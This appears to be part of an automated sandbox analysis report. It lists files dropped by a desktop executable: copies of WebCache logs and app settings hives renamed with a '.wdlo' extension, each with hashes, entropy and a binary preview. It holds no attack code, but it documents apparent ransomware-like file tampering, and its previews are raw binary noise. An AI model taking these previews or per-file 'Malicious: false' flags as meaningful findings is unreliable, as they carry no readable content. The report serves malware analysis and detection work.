SSDEEP:	192:3xs77T2tFnqCEhYYC0jM6SyQRNJV5wiGV0uQzwvxBrbEkG5qT4Qay:3CXTaFnqonNJ3DGV08vxBrbEkG5qT1ay
MD5:	6110160D68F2B34501ABE81B3BC23999
SHA1:	1B4B064BC0FE3FD1C7D23273F43F045C74CB0B2D
SHA-256:	A6C9E2EDFCE45D4B0B3786F21CCA4962196400F6C18C5DD28108EB6035CB44FC
SHA-512:	6F6CEAD91845514F4CCFA3EB043CB6D1E01AFC145B55573BD034C15770CDDAD1F0395FC1C43DDF8818008AACFA88802257D93C8F2BD710CC1BEAAD155CE1B61D
Malicious:	false
Preview:	.....7.vM.3.........qnA\|;i..r.E.....(.{..ty.9..r..n.;9..1"..S>....n......\q.r.....e..w..F....y.&]...g.+\|5...p.g'...-<..CT.....wb....&~..!..!.R.J..6~...:..."..c...e=.....x.{Z..qk...X.i.......r..wQ.T.u..t.W...3..}..t.'.......T...Ex&..J...'..v7G..........`!..,#..(Z.uH.<.[1......p.`&.?.......D.G...1R.X'D..J.l.[..Pu:...k/l.Q)4...?....kw.........&.(N........)..h...Ii._.K.. m..DF.l.Tb...]'.W..8..g-....V{>f..-..yv#.li.!R..lv(...F...@cx.W..~.."..rE`..>^.@..0d._.(H>.tS].\|.}='....<..y...K.5v.>......E. .0B.\|2.....M..-.(.!z`u.f.c[S...M.m..^'...rb....w..dH..E<..O.b(V.P[....^.,.;..l...r!Q..5.............kT.+.b.uJ....`......R..H.4....P..x..=.//......A..t.__..w.......T...oj2.m....,.;...9.._.....j.\..~... ..;.c:O.\|..'.i....[........]..o...bItr^v.,89?.....u.%...kO.u....{..+O,p4....X.~...\.~....wI]y........s.._....H......g...7..V....f..Z.c...Hn...J.x....~G.X.....]...]..8...7D.....o(....4...P2.."..H..a.C.......IK..P.......&....S5...U..O.^A..N,q.6m.k.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100005.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.432872278996433
Encrypted:	false
SSDEEP:	6144:+7gsTqlkA8GDhtbNo5JXt7iy3EFvCTyUPR5ABk2BoPnEc/qjTA:+g5H9No5tlTyUZ/qQ
MD5:	982349821A0C77C73966C5CB03117E1D
SHA1:	71C54E5B17CA3E343D87A5DBD72565A8409B9FD2
SHA-256:	2565EA023442F7CD6132F2457F52B5B93B1F98426208BEC2F460992B1208365E
SHA-512:	0AB73C322F5F2FDFBE307E207EC9861D8F6EAF9EF0F7208A8CD445C365DD54BF70BF97C07A214BE2BEF8CAE1B65CD7D937BB905A78AA41347C759318CA17DA90
Malicious:	false
Preview:	..8.....z.;.j4u.q.Q...WH...^...nW.I.Md.yd.......1.....$....;..0O.lDPd. _..oC.-.}A...D..(...T...W..\|..B:.)d....e....X....K.....$..R.1.2...M..1j{T..g..j^..K.](L5...;]..6...G..VD..r4\|.y....=.Vmn...1.^..5.=X..#..\|.A.Yj......pA<.q.. .;..}Z.,u...Rw..p...M..H,.GK..>g.9:......:dl2..e.6.]..<...NU.!...?..P.P..n......n.S.....Y"c..Z^*N..Aj......Sx...h....O.W..c......~..6c.....0.. ./s..q... .e...e..q._B... .h...?>X'.Y...:0. X........!...t.P.e..(/KQbI.{V.....V.;6.g..dJ......@e...w.V:.\..~....4....g...CM.>.Y..3.F.3..s!.q....U[.....F.B}.......v.Ln....Q.2.r...3r5....[( i..y.i[44....dpV.."..u.j..G..IG.K+G}..4.q.=p.k....+n.J....l.?0.$..:S.3@.......}..4..B....k.?.Z.......2....Q.]3....c....`.E.DQgX.........Vhf...35..d@.D.G...S..4.i.p....9<+.<...-.g..c"...n.m..$,......9..P...g9..h...<d.y=(..h..e.S~.E9XC...T.<.{.......N.3D......so..<.....ka.^I....Qm........[V.F...;.,..J.}>`..F......c.....x.0...)y.a..,.FI.....}s..3....'.. .@.c.~....Y...8....I.......)7

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077573779243145
Encrypted:	false
SSDEEP:	3072:QCq1a56kxHMFdcPbua1kkpU9FcS3cOEggyxvG0YhknhQhbq7F3X:Qx05jRSdVRerOZxvntnWRq71X
MD5:	CA353A88E23D71A9389255C22825C164
SHA1:	EDD9E8ABF07FEF62F5C2C0F18E38F7AA4DBC3053
SHA-256:	CB172CADFD7E42C28297E1D20D6E317CE1184ECDE61CF1D5E0A8B7D0A40D49A5
SHA-512:	C8F59C1C415848EA080560EC73BCC96D63500139455583BAAF42AB97C5F8EF2FDF7921816734EE8792C988039316DE285DB4F14C79395A5F38F4DF665C840796
Malicious:	false
Preview:	.....w.0....1...W ...t.e.u...i.:.?...@}......I.g.).X.V..-!5...-..[...V.x..Z.H..C.ce...[{&..18\.k.5.pW..(.fDEr.rf6r.s..m.....u.....~(>..sP..........S...>.a.W...[..D...0[..Hi..%..i.a...Nq......`X..\..H]e...+.>...,.y...C..N!.:ub.M{.4.[....p5.5u..?_.c....>In.7.....Oe..Vw...>..C...<...=q.....8.."..y....%..Q........vX...o..t.G.;T.......cY.!....Z....j0B....$..y....^.j.au...-.,..e.(..0..d.v.w.&>.....!E.&..n.Dp.$..gQ..&$yA:.j:f.9...k.p.c..xQ5.<.......0........1W.g......y(..b..C..u.#z.9.$..d....b...3.sN\|...n.)..P.P..]o....XK.rO..B{.sgO..5a.9.Y...;. . .....\|.<.x.....LT.(\|..8..h...#.t.l...Q8...n..+T&..g.n..i.s.5/.S?.i.`....@......,.k.e_6.J..."1.%.'.. 5U@..O.37...z.W7w...@.G..OU/.&....u/........7.7.B.......o...B.o..........v..mT..#..5.8..?.. N/..Z.....L..c..........6.75.\.U...q.j,n.....{h..Q...^.....-.H....\$.....lFAc.B..t4..6..n....-.'...2.>N6.EP..c.N`.0Z...(.[Wt.~Fz..`.W..d.V_$.e...Z....N..W/.G.n.C.`.wJ4@...<..<.\.8.A.)..(..Qe.Gm.\|..6..6.l....

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.20786119297874
Encrypted:	false
SSDEEP:	3072:pZgx6IkP9+f3gwonsIvrOxf6Te2MfrNsAGOHtPATdSitqatOYUoHYRDd:8A9+fR7xyTHMZsYmXwFYYRp
MD5:	DE04EAEC3F6492D6DDD17E5D06F55B10
SHA1:	3F0F17D36A09B2AFCB9E1859B4CF8999497ECD6D
SHA-256:	9A2064F0D8097014D2E6B5898E8F65F36C2800ABBA4E33818B7AC0AD9717702B
SHA-512:	4C671448C1B09B9843F3F7C8F81FCF1C0DCE722D3DB52841C50918DEEBC19E0FEBB5A9CC29C0BB0F794F66F37BF41219E87F9AD15324968931C0A9196704880E
Malicious:	false
Preview:	......i ...c@...u..e..w,..Sc..%.+.ZhZ..I./.......\+..9..y4'p.V.>....IgTY);a.~.uOA+.l;y.N......C.....-.lI...U.^.......F..6...8A.......,u.>...B...>...:...k.DQ..FB1...B...........6.....I M7...:....WX.ybS%O....n...q9(Z........E.q..r>..,....^....$..z.N\*.=...^..J..8...L+zB.2h}.K.+x.6.u.....U-.u..A..Ou.T..E.>..X...._... ".......s.p ^.J]II......U)...G:.hX.S..&C..A.L.....H.<W.s....&.%.b...]..2......hO!..w.....pF...F.i,9...ifr.m-~0.$Zb.0Y...t.`Lu7..RFg.%..Q..H.[.I....l.gE.....?.H.v+...X`f.w@~...U....UY)xY....n.F.j.....e....:<..C...4.....]......iYD.0&-..J.R&gl..L...+b=B...x...;....$.\|~,...=...j.07.o......<_...?....&6..R...p.1J..1.'H..{`..=.i......."~.l,.....B4..I`.....7.r.....)..T.N....y.'..C..#.`..x.DeR........v......_.Lo.....R.o......#F7....P..v.......U.[u1....d-s.6,P...M..x...^.Gz......(.x.+ ....HX. .3.....Zc.)f...2..z"N'...;.$J..:..1...#-..M,......`......d./..Rm......R....q.Ii........o.+ .j.{.....V.2...g..V..X.J....y.....C.....0n

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.196456334303729
Encrypted:	false
SSDEEP:	6144:rpUWzdO9o33qfoeKFwhAxe7w6qX6LKbMxc0+qFJaohDNdrjBmTu47OYPRUVRnqdT:ZBO9oKfWwhIe8XX6ebetYRw7bFu
MD5:	3CFA34BAD2899F707C18D3AD270A303C
SHA1:	71185454D78B72C1200FA3B1492F9A6FF3FE90C0
SHA-256:	D3328E59E856B8095EBB4DC421DC64ED1571E08047C27D56B399F9BDAB1C641E
SHA-512:	674EDDFF70A59F381F834BBD9EA7B1D35BFC28BB10489E0FA633B3294E980ADF633F68C2860C99691B169F967861B99F063800483C5004D4244D594C19B3A561
Malicious:	false
Preview:	.!....A.".......V....U.J.`A.......M...4..D.k...Rx...g..e.R.)...\.!wo,^2......F..J.e.zgqc.Y.L.+.<l?..]:;5...... .....Z..h...}I..%...]....k.K..5..H..AA.F..'.....<.O.G.1.A.....!d.M.i.R..E...W.P..9.8.c...5.Y..Z.uL.:...._.w..N.....Z..z.Zl2.z.......~.Q;}.~..e....o...k.B.%.e..+i.-1...X.b"Q...).u......mD_....U..R0\.2....:.h8.....x.9.O.^.L.....D.Bh.1`..aX.kv.F;..=.D.m....G...4...tO......A.U.^...m/Z....6O.&..C..,s=..JA.i.c...`..9.X..yMX..4.^.h.0.q..:...:.B......^p:...K67$c...\|I..m....sn....AR..=l..O..i.{=Eif&....T6.4..P7...`.%.....CIK......U....4.f....E.&...k.@......@x4b<]io.....l.@&<..@...6...d.....WB.......R.!...s...b>..$.w9.k...<3s...}....+s%.&\:m......\|..^}.........<.....h.@..!..^..5.. .b...J........u....YDXqq...ww.=...4.i....oe!.....^....K.8.=..M]9.#\|.C..a...^..8...Z`....4....N.o..j..-{r..66(.4L..Y.u-...M..Eg.4....rrz......?O...A....m.R.t....=..ZA.>`.....]..J..WM.7w.Z..+a.>..DS...?\..pI......)...i.uH ......^W.]i.GT]U.....w./....

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980866614089777
Encrypted:	false
SSDEEP:	192:fxphuF9pyHdJjsvKGJMo3idsv4PwfAwsMI+QNRDHZivA3H:5yFicvnLyKvtAwq/nDHMvGH
MD5:	5D31C369163898CF199020488B397C87
SHA1:	4CDA9A39B576ED35FC8A19CF0A9EC1460D292D3D
SHA-256:	DE1CFE5B1F946C38CDB88592C60D91BF8BBB7765302BE3A3A90A758A2B84DB12
SHA-512:	D6C2E141F0AEA1169A77B53EDBE5B8655ACA0DBA9144B0C20A9EBB334B7154B951DB22D2BB3E52D50B0BDBC84B8F700805930343E022AE9A036B70323A896862
Malicious:	false
Preview:	regf.t?.......J....:...K.....2B.......Dj1...{6.-(}..ms...U.sw..r}....k.^....[Y.o..?...$n..k.)......eq...K..Z.Y......Y].r_....4....U0..,...U#(..s.]..f....X....%..F.G...At.1DN..z.K.m/?....l_e..~...0.+X.I.p.0_..S.+.......jy..w.JEzF.3.m..P.f....i.HEU;...i..b9....Y.z...}I#\|~.j2.V...@o.T.K.p.......!.q-..g...p....J..f....k...].>.^.O..1V.~......i..272..0R..X....M~$.>w.6.....'..\B.q..P\.j%.H.2.$P.@...^.....+@.8......z4...n'....f.y:..zX..q.BZ(ji.9.>)....4..r.......$E....?.g.i...y......%:Z?"t.!>.S...1f............0Z-9....hcRb.....*..H.c#Ix7...E.m...#]$.......Zt....U..[<.IU.o..........G.6.9dN.....k....fCB.._RV.RJ.Q.`..p....(%._-XjCv.er..S......\..l..P..4...D.;nd......f......2.&....0.[..M97`.[.V+e..x_.TY^...O.H...!\..b.U.&c(n.AdH.v.m..ZW..:......<.oE.l!.\|..m/.....%<..T.).<..s^F......Q.N...7..Ite.LvTOm<.[r}..<.3j.'.....(D--.?#.P..~LA......Y....T.y ..h./.>.2PX......00?..H@.5..n.).fW....J8.EX.M._n)J...YS<......r....z...).?....v..8KL.6!.....[P.+z. x['PVa....

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.973261056484217
Encrypted:	false
SSDEEP:	192:itPwmNsyDkaTvs3lh04wvX+yj527yUz3gSYaMB1XeOf9hU90l5ux:ilwUsyYkU1h0WyNVUXYhNB9hU90/8
MD5:	45BD6C2E8AB2344B590F7908470D27E7
SHA1:	F668AD06740D67604E946DAEAF82D8605DB954E0
SHA-256:	265C09C9A1E905D7EBB15ECF1401E7F817FEDDD363560E4DEE3872A36D037EEB
SHA-512:	F917E30DDA7A71899736754F356506152B9B606B192272FC99BFDBFED19CAD79DD20BEE4B71F564C96281BF0AE074CF4FE6809AB60C225CB4B032227E58F76A6
Malicious:	false
Preview:	regf.....n^..Q..$t......-....!.....p[...q...a.6...-.....J..kW\|x..a..02...G5x..F.!...........<....".....%..[...C.s....}cC.....p....jb....!l.B.)<9q.t.,@.T...P?1...l.h..'.C..T...nlx.X,n.y...#_..Q..'..._...2..Eo@?.x...gWF.<U@.Q.O..9j(.........J.5v.&(.G.;O.\F.m.^u{.....jA@A.jIl....:...q.H.E+T7.O..X.5J....`:.W..F..;.A....y.......nCBJ=r 2...d".Rr..0.....k0z.".l..Rl'.K....d .`a....r.....f......a.Q......(....."...+.X...5../..9......\|@..Q.C..}f`u......r6"C..{A..8..D.n..Wn.....K.&.>.E..A....J........B.E.3..mt..V.X{...J/.]>PV.0.1....=..<hzg..W...i...Yd.j........hB..}9.Iu{.o..C.'%O.z/...%8 .".4..8......D..M..1Z....%..u....@..9..B...H.....".a0.....k......a.....i...V.{.X..2..E..o8....4...!.U....F...B/.<......Q...6.C)+.+...ef...).9..*;...\K^....)...Q....._.4>hH.-k....&.q..w..`L..0g.....&..+.'..G....p....u...-.. -.]...lQ......[..?...zt..7Vt..M.XQ...6l.,.,.[..z..0....GMx...J..}<.~\..!T.l.s.7.vq......v...ym..0=r. .8...1..3..l...m..@0..^H2..;...Q.Y.[.f..:..(

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97784728927225
Encrypted:	false
SSDEEP:	192:HH2VQ9H6nve5dRiF5RRt9YItNblI1kGazLqav7aVVxIX:n2Q1UGJi9QSX2aTqxa
MD5:	6B28E0498651C1F1AE66429D7EAECBE7
SHA1:	8455F34486ACE64C7C36888A19022E0E31CEF043
SHA-256:	7633DFB51CBF410F21852E30C1DA273697027D0B322BFCA5D9DBFE9BF5853FBA
SHA-512:	4B07C1B0F2FD97E9A1C163E6DF0AB5F20033B384F9FD6DF678358BF0533C6192569CC93C30E91C487EB6BAFE6F06209ABE69D22919C49657E52510FD6A2B9571
Malicious:	false
Preview:	regf.I...]z.7....'\............A......h..V..P.......{.:.x.3-M...K..C.._T.z..B.....)..G.$.(Jl.}.?v.:R.....Y=..kC+>........L.fB>..'..q....b.p....V....n ......v%...f.?s...n.+.r_..b.S?"..^Y..dMP3]~.]..-...a........y.Wx.....{.Z...D......5..p.~.?P.<...nvT<...t".d..!...=.Z.........h.n.-.R.....4.!.l\|t.n.....jQ\|%.AIK.W....Q?q..~.`/.D...W..%O.U\..C.i+..\|JI7l.....x...;..%...zt./.3.i..\|..7..l........0......Q....rl?. .IEL.c.P....~.E.(..mf.c.k."...<....:4.....P!...)..V.<F%..).cM...c....C..s....<..-...M.).^.......\............,...!+.P.5....{IX.....\...h..fQq..::k.Q.v.(.?eT.G..JP.YZ..q.....w..~8KH.GF.O........CV.n...5...60..\..@.h.Q.o...}.O..G..c.....;.i.W.$.H.w9.&..yPj.Q?a~.......S......w.bY/.Nt.H..?..1?.A.`....-..qdG....@MA>..J..+p..g..i.6?...m.S...I.....u..C%..t..F..'6.x&..4......v..N.>.......WL\|...=\|K..]FSA.\.._.Z.2.[y....Y.@_..e.K..I;N..@....s.^.3...x.rd..?5.A.P;..E..>...L..k..p..U<.......:H.......4.#....{.Y..4R...3..q...hJ.f.r6...\.{.I-.d4.L

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978703201076318
Encrypted:	false
SSDEEP:	192:RFS/XENj+ZD8dAA6xvVWo/NC3XbMCnxqKmEy7Vvd4Z:QXIKspyvV18HbMmxq+yRvQ
MD5:	9A9496CD49A681948DE90DBE10B6718B
SHA1:	5F5FD582B271656CF64DF256C400A0AB783311E8
SHA-256:	A89FF94F00CE87F10CE4208FEFDA8420B79294D016FD67320C4CBC07EDF65F73
SHA-512:	84899C4D2A34AF9FCA4C9646A9487D69F8A7B9E6D1F057498117C43655ECD19754C1F732A441F6679D3E5D08DA7C976F06FF8F8CDCFC960A805E1768351B35BF
Malicious:	false
Preview:	regf..u...Q...r..3....pe.K..hrnc........=.!.N'6y...&.q.u8..p..j..(M......O......0.....{.s,....o...l.N....\|.G...G..hj.....t.35.wh.....^.=.<.....d.R...,IQ.,....30.9$...3....d.D....X.UA....}..#Et..cI..j..."..z...)...;....S\k..\|..i.;..LL..a...&j.^.dU.........u..E\|.zl..Ja..n.rk..u.`..P.?...!.{1....c....d..-.8..x.u(......xG..:.c...WO..P...;../....l..M...[.....AY..M....\...3...b.U........q.t..m._zu.rX.c...~`...z.I8...`...1.P...* l..o.I......XDB.....h..w.7..W..i8..~I.UR.M....r'...{!....R...Se..N......'.:..d.M....,8..4s...G...bWc.3..n,. .`.h.R.A.H.J.u......;.kW..pG0..z..l.P./~...`..V.&.(...H...9.6.....<.t....c0h...Q.L.m.t..)-.A.Z.1!....#0.`D....m..pOq.7N.z.......e.j.,..R.S...>..z.......Q.35.d. .f0...!..A....,\.<...?._.....0$...3u...5..o.O`b.k....BIC...._f.:AB..f...6GZ..l.~..N.....'.,.(......,p.....9L.}....l.GT......G .....&....d.=1.pY.b.F../....M;^..e6o[..qTE..!...V......cI...2.....A.z..2y..e.;!+=....k.&.H.n"7..hC......E..=&)..#Y..[_+...

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977150467420426
Encrypted:	false
SSDEEP:	192:+zsqvucFG2N7w8OVIHlIlkweKqCNHSic/MOEHfN9Y+YaPQnWpj0E1fp:+zsqvBLC8OVIHkkwexOH1c/MO29P/PQa
MD5:	9E6A4320004CEE52ACF73312A9DCA6C4
SHA1:	4EB2A9EC5ED0B6D44BBE01B6218B50CCBDEEEEFB
SHA-256:	F8B41C8801CD7984384BC49BF8B80BEB3A362A200BCB4BD031AA81D0F2534F1E
SHA-512:	E4C1277A9213950C4B7EF206007C06879FC22527A2694E819CD9599160A2CC76FAC289CBB6B70A05091DF730EEB45ECDBB55CC0FAB19FE8E71A22552A922D403
Malicious:	false
Preview:	regf.4.zQ.."(mz...........`..R.8....r.z..A.)..p^z.E{.wF%`%-x...li^\X....2AYm;o.Bg2....U...Z...P..=G.l"gF9.62PZ.........?..i..e.....r\|...........q.....Hw.Y...:s..\|5(.<P)!BQ]>or?.@.a.g.U..HS)..t..,.3'.M\...iB....C...!AU...hSF.....vv....?.'^...!^,H...S2@P..C...Z..U....[.)..J...<...1.....u>..Y....F....W.QG..\|..;.n.B....{...."Rv..5.4>g.f2a...>..p.?.!bEt.W..a~..<v...fTZ...9.$P..S&b[...4y...G.\| ~..C.)....E....(sV...V.T...H..W.k..&.B.n...+..(..L'....>.~.O..D.SV...&.Pza,fLT.......mq.D...z.n......\.b.h...Q...+'.$7.H..J..h.....`..<!W...6G.>........~...=.9.. ..x_D...W..i.. .^G.\|g..>...h.LN.{[..>......Q..^....#..A.K.Q...=.!..>....1.......{s..]....._J.G(Of.?6uSZ.....{(....L..}......o.D.r.p....P=.%......Q.......+.9.S..Zx.q.....8......./.P.o..u0*}M..x.js...S.J.@...f\...7.N{.\.E.0.tz.3...P0r..p.%=..c..e=.-.V..z."V....9.n...6<#p.5U..^.=..7u...[1....\eT....O`.h{..s././z~.....y.&h....v7..%:..(..[...O....}..n..<.\|.8OS.t.b..I... .U&..~......$.c..d+.@.c?Gj.V..i.

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978389907311804
Encrypted:	false
SSDEEP:	96:a/jeUEuE3Ear42Q6ADtqN27wd+gUhe6XyoXel8UKbk7pjn6JOmJuWuH/q+Dw4B+E:a/8EwQ/o00d+Re6XySel87k74ey4cE
MD5:	9DC782DCC41F36C61221B5BF6C172FE2
SHA1:	E9270A5F6EB65EA8381BCA6A207770227E0DF0C9
SHA-256:	365677BE844BD6611751F348D663A7E3D64D92349C3631BE95BCAB634F9A9BD6
SHA-512:	888AE4ABA02F95A2D5308E1E7ABC9538FD11EDFE5C3E2CEFDA0B221D4DA80314040C2A2F65D920B6DB9195F144E6258BED43BBF804686A2264FDC497AC3DF0F9
Malicious:	false
Preview:	regf....x..:.....@h..Zt.kCou...=I.........4..i.g.#qZ........}...81..Yas.?.lxR.T...7.Lb[?..5..;..c....[.."K.@,...D.^..BO..A..k...A......(...Q7......;...Z....M..,./.$.../-cc'...1t.w.\|.....Q.Y(.R.4.N..R.@>....\X.~..R.....uy.....X.....1<.........N..?.]#y.~.W....e....T..(.S.O...k....j.h..wfp.....]i.FI..)Y..Z..3......*{...S1.f..i.$`2.i...zq.,..........>.......6....l.`.6...bu.......Hx...........%.=...\|.mI6.e.e..\..Mm.Th.....J.m.Qe.?~....\|.3.Q.+'.Q.2...q....+...L2hL.W..P...w........iWCtX...~..@.F......L.<y..Iss...4gTq..[C[...q....tu>....[$...V..6.%..(@5.x.x.'....0...51ql..K.w......z#.r,}.6k.K...UH..&..Z..Q.se}.iWhy....i#..Z..0..?..3.$.."...Y..........,..7...)g.T.s.....i..D.... ........:..;'..7..\...`N#......#...1R.g<.aw...(.:.....CU..2....-r......".L.P...........5)P.....+..3."Ew;.yf..R.....uYz..h..#.S:Jq.x....h.I..."..,.R.....t.........O..a.j....U......g...m.8.w.'6y^^.....^k..V..SjD....9B.S...[S........Tg.....I#.Fn...8..+..5...VO.u..

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979250966963541
Encrypted:	false
SSDEEP:	192:w8V32BPJUb3IUFwScGdo2AoO4tgRzuV9Xk:w43Mx2F7C2b1OzkU
MD5:	892BDE346080A85A41EF3E0FDC6F0E18
SHA1:	D4FD062534EB2BC86658449410048805B72FB399
SHA-256:	011D08B9D198BCF9328CE72D64DDE286FDEA0955DDCB6561271A8E857BD09462
SHA-512:	B7CD631CC82ABA1DB7BEC1EC93AD16870E9B20800953D60588A0A647E8E6D6275A61BE1422217E6603DF185830F139E6DF88B40D54167D88D4BDD2C06D7C4B01
Malicious:	false
Preview:	regf...tN.c.O)...W...Kl(.Y.3]X.mJ..U`..?..9.j"W....Y.=Ha...V...a..T7\.o.dgk&....W;8...4<i=.B.H..c.\|L...~\..=.$...5Y.(@?...W)...z`.R...tw.i4.k....B`.r...D%..v..Q.E}.Gp?RPD]v1....".0...UP.&a..usG.tn....3.(.*..`......w..$.a....}..m..=bm.]..x_hU.-.Z...P.y.C..u.lV....3..].2..Kwi.KzkP..d.).r1..j5.5!<...Z.p.]....g@."..i.\. ..F42Z.....Z...).A..K.}..\f.zh.<G9.4Z......./..?...o.2j.s.(.......0.W....?......o-..5 .!..x..\..t....O.o.......D....M..ZK.0.]......n".-.B.\..'P.....<^oK.GJ.h.....x..C..A.MM....Q...v...w...w`...Z...j..8.1....TB..]..P[....!v.,..C....(......A...../T.....i..1..{`,..9.. .kY.2..gIP........&.A.[..F..E.P...}5f..u.P..f..z.U?.....{...Zs._...=.)..^T...8.G_\|...N8hZ6..\.r_..3".t../!^..h.%BEe.....mi.s?...2.!2;I.......kB/@.Tr.........\|...........P:\|K\|.......$2...xn).G.\|....6.<..!..ON..Yb0......7f.>...M..$cz..c.........c/y..1.h.W.....c2.....y.....z..4.%B.;L.......a..8...........W......Go..!......Hd:\|........9L..S..(.'d.2.i...MA.O..VH

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977649235392236
Encrypted:	false
SSDEEP:	192:lNiYW+yO6XD5BrvH0AN0PE2woWS6l8niXWGtPNgdu/r:eYe31FMAN0PE2ndk8nYWyce
MD5:	96BB4B1E55F7BA022C1EE34E311D92EA
SHA1:	4525D9283B4F0BB3B3F584E9FBECDF6FED3F2A03
SHA-256:	EDC7A7C5331B8D32A124ABBF5038A5161EF460A669D165F982F5BB0E53277CE4
SHA-512:	5F9ECB37F480F3F7B1AE3585E1B3A14E1093456FAC46F4B0FA6E3BD714DDC2536E4D5B054AC25ED8353C5A86E6CE7E49E4C09B8FA120B7799ADCAA8C1B1A64A1
Malicious:	false
Preview:	regf.!...w..Q.!(.....A).3...7.jW.....}!}o...v..2.P}..\|.....V.Z......>....R^}..].iYwc. .C..F..0o}kr3...,....#U..2.x..-Sa.Y....{.3.n#.P8.n........>P...{4D.p.BXi#..Sx@..="8#..u......!...5.x...n.Pp..}.$dI..@....h...y.>...S.B..M..4C.)....../l.....'m}.^...O...3.l....o=+R.9g&...7i...{...&.\......U FR...>...]q>..q..J..Im..`...ezC.....)..eq..l..?."-wl.........!ji..&...m.e ..&..).[....W.o.hJ....$j56"...h.D.A..4.Xv5j......U..-...>...........6............l..)>..3..!Q...HT.T..~..~..Zw.tk].ea].;.. "...#....MU.......j._.-w...]/.QA.s.k....C.T.o>?...bB...M~...B....&..5.....s.Up.AK...M.........u#.....;H.....=>.5Fk..G......%...67.G..=..6...=.q.c.I.F.7P~.......A.Y.4./B...Um.>W..F#......\|BG%.j......J....5.a....[.i.[d;$v..AHv9..)..u/7s......d..Qv.6.....a..`?3H.U}.......7=h^p.W.zW...N<!......Ogb...z.<..t.>....e{.......R...\.....e....U.......M.90(........#...*N.Y.i>..k..g...7".v.Ch.\|a.xDb...}.zh0.....g.Y66...omKF...Bqb[~..1..%o.........j6.eGf..

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976114795602578
Encrypted:	false
SSDEEP:	96:mcjJPu/TCJhJSsZ2JhLti4Db2/YIKFcsVJ5Isdw3Y4hMyyoEq+vuiKh979DA/DQc:x8TCfJS02nEE2OIsiolokC979E/8G4fw
MD5:	57E6504DBC347BA067CF1D59942FB385
SHA1:	7EE99ADE8D64F9F097FC57B2F46AB8796422A79D
